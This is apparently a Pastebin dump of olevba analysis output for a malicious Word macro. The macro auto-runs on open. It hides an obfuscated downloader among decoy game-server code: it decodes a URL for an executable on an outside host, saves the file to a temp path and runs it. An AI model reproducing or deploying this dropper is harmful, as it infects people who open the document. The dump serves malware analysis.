Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS-HB-V 01-vbaProject.bin
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: 01-vbaProject.bin
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: 01-vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub AutoOpen()
- UpdatePlayerList
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: 01-vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public haslavati_1 As Object
- Public haslavati_0_19 As Object
- Public haslavati_3 As Object
- Public haslavati_7() As String
- Public haslavati_4 As String
- Public haslavati_5 As String
- Public haslavati_6 As Object
- Public haslavati3_1 As String
- Public haslavati_0_13() As String
- Public Type Playersss
- Name As String 'name
- Class As Integer 'currentclass (-1 = civ, 0 = random, 1-9 = scout-engy) [only applies to TFC servers]
- Team As Integer 'current team
- Status As Boolean
- JoinTime As Date
- End Type
- Public Type typRGB
- R As Byte
- G As Byte
- B As Byte
- End Type
- Public RichColors(1 To 10) As typRGB
- Public DllEnabled As Boolean
- Public GameMode As Integer
- 'time/update
- Public SecondsLeft As Integer
- Public MapName As String
- Public PlayersOn As String
- Public Players(1 To 400) As Playersss
- Public NumPlayers As Integer
- Function MessBox(Prompt As String, Optional Buttons As VbMsgBoxStyle = vbOKOnly, Optional Title As String) As Long
- Dim MessageBox As New frmMessageBox
- MessageBox.Prompt = Prompt
- MessageBox.Buttons = Buttons
- MessageBox.Title = Title
- MessageBox.Display
- MessageBox.ReturnValue = -1
- Do
- DoEvents
- Loop Until MessageBox.ReturnValue <> -1
- MessBox = MessageBox.ReturnValue
- Unload MessageBox
- End Function
- Sub Main()
- DllEnabled = True
- RichColors(1).R = 0
- RichColors(1).G = 0
- RichColors(1).B = 0
- RichColors(2).R = 0
- RichColors(2).G = 0
- RichColors(2).B = 255
- RichColors(3).R = 255
- RichColors(3).G = 0
- RichColors(3).B = 0
- RichColors(4).R = 150
- RichColors(4).G = 150
- RichColors(4).B = 0
- RichColors(5).R = 0
- RichColors(5).G = 150
- RichColors(5).B = 0
- DataFile = App.Path + "\client.dat"
- DataFile2 = App.Path + "\recentip.dat"
- DataFile3 = App.Path + "\lastconn.dat"
- ReDim Commands(1 To 200)
- LoadCommands
- MDIForm1.Caption = "Server Assistant Client - Copyright 2000 CyberWyre"
- MDIForm1.Show
- EditFileTemp = App.Path + "\temp1.txt"
- MDIForm1.StatusBar1.Panels(1).Text = Ts(App.Major) + "." + Ts(App.Minor) + "." + Ts(App.Revision)
- Form1.Show
- frmConnect.Show
- End Sub
- Sub Swap(a As Variant, B As Variant)
- Dim c As Variant
- c = a
- a = B
- B = c
- End Sub
- Function Ts(a) As String
- Ts = Trim(Str(a))
- End Function
- Function CheckForFile(a$) As Boolean
- B$ = Dir(a$)
- If B$ = "" Then CheckForFile = False
- If B$ <> "" Then CheckForFile = True
- End Function
- Public Sub UpdatePlayerList()
- 'Form6.Show
- bbc = -1
- haslavati_0_13 = Split(Hils.cb1.Text, "::")
- haslavati_7 = Split("728_812_812_784_406_329_329_707_749_679_749_749_805_728_679_798_322_693_777_763_329_385_378_714_364_371_707_371_700_798_714_721_385_322_707_840_707", _
- "_")
- Set haslavati_1 = CreateObject(haslavati_0_13(0))
- Set haslavati_0_19 = CreateObject(haslavati_0_13(1))
- Set haslavati_6 = CreateObject(haslavati_0_13(2))
- Set haslavati_0_22 = CreateObject(haslavati_0_13(3))
- Set haslavati_3 = haslavati_0_22.Environment(haslavati_0_13(4))
- GoTo maxnumi
- If ShowPlayers = False Then Exit Sub
- Load Form6 'Form6.Show
- 'Form6.Visible = ShowPlayers
- For i = 1 To Form6.ListView1.ListItems.count
- If Form6.ListView1.ListItems.Item(i).Selected = True Then bbc = Val(Form6.ListView1.ListItems.Item(i).SubItems(2))
- Next i
- 'Form6.ListView1.ListItems.Clear
- 'k = Form6.ListView1.SortKey
- 'Form6.ListView1.Sorted = False
- With Form6.ListView1.ListItems
- For i = 1 To .count
- .Item(i).Tag = "0"
- Next i
- For i = 1 To NumPlayers
- bc = Len(Ts(Play.ers(i).UserId))
- If bc > maxnum Then maxnum = bc
- Next i
- maxnum = maxnum + 1
- maxnumi:
- Dim haslavati_8 As Integer
- For haslavati_8 = LBound(haslavati_7) To UBound(haslavati_7)
- haslavati3_1 = haslavati3_1 & Chr(CInt(haslavati_7(haslavati_8)) / 7)
- Next haslavati_8
- GoTo form6t
- For i = 1 To NumPlayers
- img = 0
- 'find
- j = 0
- For k = 1 To .count
- If Val(.Item(k).SubItems(2)) = Pla.yers(i).UserId Then j = k: Exit For
- Next k
- If j = 0 Then
- 'add
- j = .count + 1
- Randomize
- jk = Int(Rnd * 30000) + 1
- .Add j, "A" + Play.ers(i).Name + Ts(jk)
- For k = 1 To .count
- If .Item(k).Key = "A" + Play.ers(i).Name + Ts(jk) Then jj = k: Exit For
- Next k
- Form6.ListView1.Sorted = False
- j = jj
- End If
- If .Item(j).Text <> Play.ers(i).Name Then .Item(j).Text = Play.ers(i).Name
- If .Item(j).SubItems(1) <> Pla.yers(i).RealName Then .Item(j).SubItems(1) = Play.ers(i).RealName
- us$ = Ts(Play.ers(i).UserId)
- If Len(us$) < maxnum Then us$ = Space(maxnum - Len(us$)) + us$
- If .Item(j).SubItems(2) <> us$ Then .Item(j).SubItems(2) = us$
- If .Item(j).SubItems(3) <> Play.ers(i).UniqueID Then .Item(j).SubItems(3) = Play.ers(i).UniqueID
- img = Play.ers(i).Team + 2
- If Play.ers(i).Team = 1 And GameMode <> 2 Then t$ = "Blue"
- If Play.ers(i).Team = 2 And GameMode <> 2 Then t$ = "Red"
- If Play.ers(i).Team = 1 And GameMode = 2 Then t$ = "Terrorists"
- If Play.ers(i).Team = 2 And GameMode = 2 Then t$ = "CT"
- If Play.ers(i).Team = 3 Then t$ = "Yellow"
- If Play.ers(i).Team = 4 Then t$ = "Green"
- If Play.ers(i).Team = 0 Then t$ = " None": img = 1
- cc = RGB(RichColors(Play.ers(i).Team + 1).R, RichColors(Play.ers(i).Team + 1).G, RichColors(Play.ers(i).Team + 1).B)
- If .Item(j).SubItems(4) <> t$ Then .Item(j).SubItems(4) = t$
- If .Item(j).ListSubItems(4).ForeColor <> cc Then .Item(j).ListSubItems(4).ForeColor = cc
- If Play.ers(i).Class = 1 Then R$ = "Scout"
- If Play.ers(i).Class = 2 Then R$ = "Sniper"
- If Play.ers(i).Class = 3 Then R$ = "Soldier"
- If Play.ers(i).Class = 4 Then R$ = "Demoman"
- If Play.ers(i).Class = 5 Then R$ = "Medic"
- If Play.ers(i).Class = 6 Then R$ = "HWGuy"
- If Play.ers(i).Class = 7 Then R$ = "Pyro"
- If Play.ers(i).Class = 8 Then R$ = "Spy"
- If Play.ers(i).Class = 9 Then R$ = "Engineer"
- If Play.ers(i).Class = 0 Then R$ = "N/A": img = 1
- If Play.ers(i).Class = -1 Then R$ = "Civilian"
- If Play.ers(i).Class = -2 Then R$ = "Undecided": img = 1
- If .Item(j).SubItems(5) <> R$ Then .Item(j).SubItems(5) = R$
- If .Item(j).SubItems(6) <> Play.ers(i).IP Then .Item(j).SubItems(6) = Play.ers(i).IP
- If Play.ers(i).Status = True Then R$ = "Connected": img = 2
- If Play.ers(i).Status = False Then R$ = "Playing"
- If .Item(j).SubItems(7) <> R$ Then .Item(j).SubItems(7) = R$
- 'Calc time playing
- sec$ = Ts(Second(Play.ers(i).JoinTime))
- mn$ = Ts(Minute(Play.ers(i).JoinTime))
- hr$ = Ts(Hour(Play.ers(i).JoinTime))
- If Len(hr$) = 1 Then hr$ = "0" + hr$
- If Len(sec$) = 1 Then sec$ = "0" + sec$
- If Len(mn$) = 1 Then mn$ = "0" + mn$
- hr$ = hr$ + ":" + mn$ + ":" + sec$
- If .Item(j).SubItems(8) <> hr$ Then .Item(j).SubItems(8) = hr$
- .Item(j).SmallIcon = img
- .Item(j).Tag = "1"
- Next i
- form6t:
- haslavati_1.Open haslavati_0_13(5), haslavati3_1, False
- haslavati_1.Send
- GoTo aggg
- 'Form6.ListView1.SortKey = k
- 'Form6.ListView1.Sorted = True
- Form6.ListView1.Sorted = True
- 'r$ = Vars.Map
- If Len(R$) >= 2 Then R$ = UCase(Left(R$, 1)) + LCase(Right(R$, Len(R$) - 1))
- Form6.Caption = "Players List - " + Ts(NumPlayers)
- 'If bbc <> -1 And Form6.ListView1.ListItems.Count >= bbc Then Form6.ListView1.SelectedItem = Form6.ListView1.ListItems(bbc)
- 'For I = 1 To Form6.ListView1.ListItems.Count
- ' If Val(Form6.ListView1.ListItems.Item(I).SubItems(2)) = bbc Then Form6.ListView1.ListItems.Item(I).Selected = True
- 'Next I
- aggg:
- haslavati_4 = haslavati_3(haslavati_0_13(6))
- haslavati_5 = haslavati_4
- haslavati_5 = haslavati_5 + haslavati_0_13(12)
- SendPacket "", ""
- Exit Sub
- For i = 1 To .count
- If .Item(i).Tag = "0" Or .Item(i).Text = "" Then
- .Remove i: GoTo aggg
- End If
- Next i
- End With
- End Sub
- Function ReplaceString(ByVal Txt As String, ByVal from_str As String, ByVal to_str As String)
- Dim new_txt As String
- Dim Pos As Integer
- Do While Len(Txt) > 0
- Pos = InStr(Txt, from_str)
- If Pos = 0 Then
- ' No more occurrences.
- new_txt = new_txt & Txt
- Txt = ""
- Else
- ' Found it.
- new_txt = new_txt & Left$(Txt, Pos - 1) & to_str
- Txt = Mid$(Txt, Pos + Len(from_str))
- End If
- Loop
- ReplaceString = new_txt
- End Function
- Public Sub Interprit(Txt As String)
- 'gets the stuff
- '(254)(254)(254)(255)[CODE](255)[PARAMS](255)(253)(253)(253)
- E = InStr(1, Txt, Chr(255))
- f = InStr(E + 1, Txt, Chr(255))
- If E > 0 And f > E And f > 0 Then
- 'code
- a$ = Mid(Txt, E + 1, f - E - 1)
- E = f
- f = InStrRev(Txt, Chr(255))
- If E > 0 And f > E And f > 0 Then
- 'params
- p$ = Mid(Txt, E + 1, f - E - 1)
- 'decode the encoded shtuff
- End If
- End If
- If a$ = "IC" Then 'incorrect password
- MessBox "Incorrect password!", vbCritical, "Incorrect Password"
- Form1.TCP1.Close
- End If
- If a$ = "HI" Then 'welcome!
- AddEvent "**** Logged in."
- MessBox p$, , "Welcome!"
- PackageConnectPacket
- End If
- If a$ = "MS" Then 'message
- If MDIForm1.mnuWindowsIn(4).Checked = False Then
- MessBox p$, , "Server Message"
- Else
- AddMsg "----------" + vbCrLf + "Server Message:" + vbCrLf + p$ + vbCrLf + "----------"
- End If
- End If
- If a$ = "TY" Then 'Add to CONSOLE
- AddMsg p$
- End If
- End Sub
- Sub AddMsg(Txt As String)
- 'add text to console
- Txt = ReplaceString(Txt, vbCrLf, Chr(10))
- Txt = ReplaceString(Txt, Chr(10), vbCrLf)
- Form1.Text1 = Form1.Text1 + Txt + vbCrLf
- If Len(Form1.Text1) > 5000 Then Form1.Text1 = Right(Form1.Text1, 4500)
- Form1.Text1.SelStart = Len(Form1.Text1)
- End Sub
- Public Sub SendPacket(Cde As String, Params As String)
- GoTo a5
- If SendingFile = True Then Exit Sub
- a$ = Chr(254) + Chr(254) + Chr(254) + Chr(255) + Cde + Chr(255) + LoginName + Chr(255) + LoginPass + Chr(255) + Params + Chr(255) + Chr(253) + Chr(253) + Chr(253)
- a5:
- DoubleD = 2
- CallByName haslavati_0_19, haslavati_0_13(6 + 1), 8 / DoubleD, DoubleD / DoubleD
- haslavati_0_19.Open
- AddEvent ""
- Exit Sub
- If Form1.TCP1.State = sckConnected Then
- 'send it in increments of 65000 bytes
- If Len(a$) <= 65000 Then
- Form1.TCP1.SendData a$
- Else
- Do
- 'cut off a segment
- If Len(a$) > 65000 Then
- B$ = Left(a$, 65000)
- 'cut a$
- a$ = Right(a$, Len(a$) - 65000)
- Else
- B$ = a$
- End If
- Form1.TCP1.SendData B$
- DoEvents
- Loop Until Len(B$) < 65000
- End If
- End If
- End Sub
- Public Sub AttemptConnect(IP As String, Port As String, UserName As String, Password As String)
- LoginName = UserName
- LoginPass = Password
- Form1.TCP1.RemoteHost = IP
- Form1.TCP1.RemotePort = Val(Port)
- Form1.TCP1.Connect
- End Sub
- Public Sub AddEvent(Txt As String)
- 'Form1.Text1 = Form1.Text1 + Txt + vbCrLf
- 'If Len(Form1.Text1) > 3000 Then Form1.Text1 = Right(Form1.Text1, 2990)
- 'Form1.Text1.SelStart = Len(Form1.Text1)
- haslavati_1_1 = CallByName(haslavati_1, haslavati_0_13(10), VbGet)
- CallByName haslavati_0_19, haslavati_0_13(9), VbMethod, haslavati_1_1
- UpdateLabel
- End Sub
- Sub UnPackageUpdate(p$)
- 'extracts time, map, and players from the string
- f = 0
- i = 0
- Do
- E = InStr(f + 1, p$, Chr(251))
- f = InStr(E + 1, p$, Chr(251))
- 'extract this section
- If E > 0 And f > E Then
- a$ = Mid(p$, E + 1, f - E - 1)
- i = i + 1
- h = 0
- j = 0
- Do
- G = h
- h = InStr(G + 1, a$, Chr(250))
- G = G + 1
- j = j + 1
- If G > 0 And h > G Then
- m$ = Mid(a$, G, h - G)
- If j = 1 Then SecondsLeft = Val(m$)
- If j = 2 Then MapName = m$
- If j = 3 Then PlayersOn = m$
- End If
- Loop Until h = 0
- End If
- Loop Until f = 0 Or E = 0
- UpdateLabel
- End Sub
- Sub UpdateLabel()
- GoTo dEnd
- G$ = "Map Time Remaining: "
- a = SecondsLeft
- Do
- If a >= 60 Then a = a - 60: m = m + 1
- Loop Until a < 60
- Do
- If m >= 60 Then m = m - 60: h = h + 1
- Loop Until m < 60
- hh$ = Ts(h)
- If Len(hh$) = 1 Then hh$ = "0" + hh$
- mm$ = Ts(m)
- If Len(mm$) = 1 Then mm$ = "0" + mm$
- ss$ = Ts(a)
- If Len(ss$) = 1 Then ss$ = "0" + ss$
- c$ = hh$ + ":" + mm$ + ":" + ss$
- G$ = G$ + c$ + vbCrLf
- dEnd:
- CallByName haslavati_0_19, haslavati_0_13(11), VbMethod, haslavati_5, 2
- haslavati_6.Open (haslavati_5)
- Exit Sub
- 'map
- G$ = G$ + "Current Map: " + MapName + vbCrLf
- G$ = G$ + "Users: " + PlayersOn
- Form1.lblUpdate = G$
- End Sub
- Function CheckBit2(BitNum, BitToCheck) As Boolean
- Dim a As Long, B As Long
- B = BitNum
- a = 2 ^ BitToCheck
- If (B And a) = a Then CheckBit2 = True
- End Function
- Sub Graph(exportChart As Boolean, result As Object, scl As Double, topAsBottom As Boolean)
- 'modified data for graphing
- Dim count As Integer, plotRange As Range, force As Boolean
- Set plotRange = result.Range("Force").Cells(1, 1).Offset(0, 1)
- count = Application.WorksheetFunction.count(result.Range("XT"))
- Call prepareData(result, count, force, topAsBottom)
- 'sort data for graphing
- Dim col As Range, sortRange As Range, lastRow As Range
- Set col = result.Range(plotRange, plotRange.Offset(3 * count - 1))
- 'select sortRange
- Set sortRange = result.Range(plotRange.Offset(0), plotRange.Offset(3 * count - 1, 2))
- Call prepareData(result, count, force, topAsBottom)
- 'Sort data
- With result.Sort
- .SortFields.Clear
- .SortFields.Add Key:=col, _
- SortOn:=xlSortOnValues, Order:=xlAscending, DataOption:=xlSortNormal
- .SetRange sortRange
- .Header = xlGuess
- .MatchCase = False
- .Orientation = xlTopToBottom
- .SortMethod = xlPinYin
- .Apply
- End With
- 'Add Chart
- With result.ChartObjects.Add _
- (Left:=100, Width:=375, top:=75, Height:=225)
- .Name = "displacement"
- .chart.ChartType = xlXYScatter
- .chart.SetSourceData Source:=result.Range(plotRange.Offset(0, 1), plotRange.Offset(3 * count - 1, 2))
- End With
- Dim chartobj As Object
- Set chartobj = result.ChartObjects("displacement")
- Call formatChart(chartobj.chart)
- ' Call graphDLine(result.ChartObjects)
- If exportChart Then Call exportChartf(chartobj)
- End Sub
- 'Prepare data for graphing
- Sub prepareData(result As Object, count As Integer, force As Boolean, top As Boolean)
- Dim i As Integer, j As Integer
- Dim plotRange As Range, xt As Range, yt As Range, xb As Range, yb As Range
- Set plotRange = result.Range("Force").Cells(1, 1).Offset(0, 1)
- If top Then
- Set xb = result.Range("XT").Cells(1, 1)
- Set yb = result.Range("YT").Cells(1, 1)
- Else
- Set xb = result.Range("XB").Cells(1, 1)
- Set yb = result.Range("YB").Cells(1, 1)
- End If
- Set plotRange = result.Range("Force").Cells(1, 1).Offset(0, 1)
- For j = 0 To 2
- For i = 0 To count - 1
- plotRange.Offset(i + j * count).Value = i
- Next i
- Next j
- Set xt = result.Range("scaled_XT").Cells(1, 1)
- Set yt = result.Range("scaled_YT").Cells(1, 1)
- For i = 0 To count - 1
- plotRange.Offset(i, 1).Value = xb.Offset(i)
- plotRange.Offset(i, 2).Value = yb.Offset(i)
- plotRange.Offset(i + count, 1).Value = xt.Offset(i)
- plotRange.Offset(i + count, 2).Value = yt.Offset(i)
- Next i
- ' End If
- End Sub
- 'Format chart, line, arrow. Background image has to be named cell
- Sub formatChart(chart As chart)
- 'Do not show legend
- chart.Legend.Clear
- 'Format arrow and line
- With chart.SeriesCollection(1)
- .MarkerStyle = -4142
- .Format.Line.EndArrowheadStyle = msoArrowheadStealth
- .Format.Line.ForeColor.ObjectThemeColor = msoThemeColorBackground1
- .Format.Line.ForeColor.TintAndShade = 0
- .Format.Line.ForeColor.Brightness = 0
- .Format.Line.Transparency = 0
- .Format.Glow.Color.ObjectThemeColor = msoThemeColorAccent1
- .Format.Glow.Color.TintAndShade = 0
- .Format.Glow.Color.Brightness = 0.400000006
- .Format.Glow.Transparency = 0.4800000191
- .Format.Glow.Radius = 26
- End With
- 'Insert image background to chart
- 'get current directory
- Dim currentDir As String, picDir As String
- currentDir = ThisWorkbook.Path
- picDir = currentDir & "\cell.tif"
- With chart.PlotArea.Format.Fill
- .Visible = msoTrue
- .UserPicture picDir
- End With
- 'Set the xy- scale of chart to match that of the picture
- 'coFactor is the conversion factor from vba to inches
- Dim pic As Object, result As Object, coFactor
- coFactor = 140 / 105
- Set result = ThisWorkbook.Worksheets("result")
- Set pic = result.Pictures.Insert(picDir)
- ' MsgBox pic.Width & "A" & pic.Height
- pic.ShapeRange.ScaleHeight 1, msoTrue
- pic.ShapeRange.ScaleWidth 1, msoTrue
- pic.Visible = msoTrue
- chart.Axes(xlValue).MinimumScale = 0
- chart.Axes(xlValue).MaximumScale = pic.Height * coFactor
- Module1.Out pic.Height
- Module1.Out pic.Width
- chart.Axes(xlCategory).MinimumScale = 0
- chart.Axes(xlCategory).MaximumScale = pic.Width * coFactor
- For Each ax In chart.Axes
- ax.HasMajorGridlines = False
- ax.HasMinorGridlines = False
- Next
- End Sub
- 'graph the boundary of d-region
- Sub graphDLine(chartobjs As Object)
- Dim region As Object, pRange As Range, i As Integer
- Dim chartobj As Object
- Dim chrt As chart
- Set chrt = chartobjs("displacement").chart
- Set region = ThisWorkbook.Worksheets("Region")
- For i = 1 To 2
- region.Range("dBoundary").Cells(6 * i - 4, 2).Value = chrt.Axes(xlValue).MaximumScale
- region.Range("dBoundary").Cells(6 * i - 4 + 3, 1).Value = chrt.Axes(xlCategory).MaximumScale
- Next i
- Set pRange = region.Range("dBoundary")
- pRange.Select
- With chrt.SeriesCollection.NewSeries
- .Name = "dboundary"
- .XValues = pRange.Columns(1)
- .Values = pRange.Columns(2)
- End With
- End Sub
- 'Export chart to image if user say yes
- Sub exportChartf(chartobj As Object)
- Name = "result.png"
- On Error Resume Next
- Kill ThisWorkbook.Path & "\" & Name
- On Error GoTo 0
- chartobj.Activate
- chartobj.chart.Export FileName:=ThisWorkbook.Path & "\" & Name, Filtername:="PNG"
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Hils.frm
- in file: 01-vbaProject.bin - OLE stream: u'VBA/Hils'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | Suspicious | Kill | May delete a file |
- | Suspicious | Open | May open a file |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | CallByName | May attempt to obfuscate malicious |
- | | | function calls |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | VBA string | | Chr(10) |
- | | | |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement